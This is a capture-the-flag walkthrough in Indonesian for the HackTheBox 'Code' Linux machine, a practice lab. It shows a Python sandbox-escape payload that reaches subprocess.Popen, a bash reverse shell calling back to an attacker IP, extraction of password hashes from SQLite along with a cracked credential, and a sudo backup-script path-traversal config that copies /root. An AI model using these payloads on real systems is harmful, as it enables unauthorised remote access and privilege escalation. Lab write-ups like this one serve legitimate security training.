Writeup HTB Code Linux Machine Easy
Writeup Htb Code
Writeup HTB Code

Daftar Isi

  1. Informasi Umum Machine
  2. Enumeration
  3. Eksploitasi
  4. Privilege Escalation
  5. Root Flag
  6. Kesimpulan
  7. Writeup HTB Lainnya

Artikel ini membahas writeup HTB Code, sebuah tantangan dari HackTheBox dengan sistem operasi Linux dan tingkat kesulitan Easy. Eksploitasi pada machine ini mencakup teknik SSTI, reverse shell, serta privilege escalation melalui backy.sh bypass.

Informasi Umum Machine

  • Nama: Code
  • Platform: HackTheBox (HTB)
  • IP: 10.10.11.62
  • Sistem Operasi: Linux
  • Tingkat Kesulitan: Easy
  • Kategori: Web Exploitation, Privilege Escalation

Enumeration

Nmap Scan

nmap -sC -sV -A -p- -Pn code.htb

Terlihat port 5000 terbuka dan menjalankan layanan web berbasis Flask (Python).

Menambahkan ke /etc/hosts

10.10.11.62 code.htb

Akses Web

http://code.htb:5000

Aplikasi web terlihat memiliki input yang bisa memproses ekspresi Python. Hal ini menunjukkan kemungkinan Server-Side Template Injection (SSTI).

Eksploitasi

Menemukan Kelas `Popen` melalui SSTI

Gunakan payload berikut untuk melihat daftar class internal:

print((()).__class__.__bases__[0].__subclasses__())

Iterasi untuk menemukan subprocess.Popen:

raise Exception((()).__class__.__bases__[0].__subclasses__()[317].__name__)

Jika menemukan Popen, kita bisa eksekusi shell command.

Menyiapkan Reverse Shell

Setup Netcat listener di attacker machine:

nc -lvnp 4444

Kirimkan payload ke web:


raise Exception(str((()).__class__.__bases__[0].__subclasses__()[317](
    "bash -c 'bash -i >& /dev/tcp/10.10.14.171/4444 0>&1'", 
    shell=True, stdout=-1).communicate()))

Jika berhasil, shell sebagai app-production akan diperoleh.

Mendapatkan User Flag


cd ..
cat user.txt

Enumerasi File Database

find / -writable -type f 2>/dev/null | grep -Ev '^/proc|^/sys'

Temukan file SQLite .db, lalu ekstrak password hash:


sqlite3 instance/database.db
.tables
SELECT * FROM USER;

Crack password Martin (hasil: nafeelswordsmaster) lalu login SSH:

ssh martin@code.htb

Privilege Escalation

Cek binary mencurigakan:

ls -l /usr/bin/backy.sh

Binary ini dapat dijalankan oleh user dan membutuhkan file JSON sebagai konfigurasi. Namun, validasi direktori backup bisa dibypass menggunakan path traversal.

Bypass Path Filter

Buat file konfigurasi:


cat > root-steal.json << EOF
{
  "destination": "/home/martin/",
  "multiprocessing": true,
  "verbose_log": true,
  "directories_to_archive": [
    "/home/....//root/"
  ]
}
EOF

Jalankan dengan:

sudo /usr/bin/backy.sh root-steal.json

File backup akan tersimpan di /home/martin/.

Ekstrak dan Dapatkan Akses


tar -xvf code_home_.._root_*.tar.bz2
cat root/root.txt

Root Flag

Letak file:

/root/root.txt

Akses diperoleh setelah ekstraksi backup root yang dibypass via path traversal.

Secara keseluruhan, HackTheBox Code Linux Easy adalah box yang menarik untuk pemula maupun praktisi keamanan siber yang ingin belajar tentang eksploitasi aplikasi Flask, manipulasi konfigurasi JSON, dan trik backy.sh bypass yang memungkinkan akses ke direktori root.

Kesimpulan

Machine Code di HackTheBox mengajarkan pentingnya validasi path yang benar dalam aplikasi backup. Dengan memanfaatkan SSTI dan eksploitasi path traversal melalui file konfigurasi JSON, privilege escalation dapat dicapai dengan elegan. Ini adalah contoh klasik bagaimana eksploitasi kecil bisa berujung pada akses root.

Writeup HTB Code ini menunjukkan bahwa eksploitasi sederhana bisa sangat efektif. Kombinasi dari SSTI, akses ke file database, dan trik backy.sh bypass memungkinkan kita menguasai sepenuhnya mesin HackTheBox Code Linux Easy.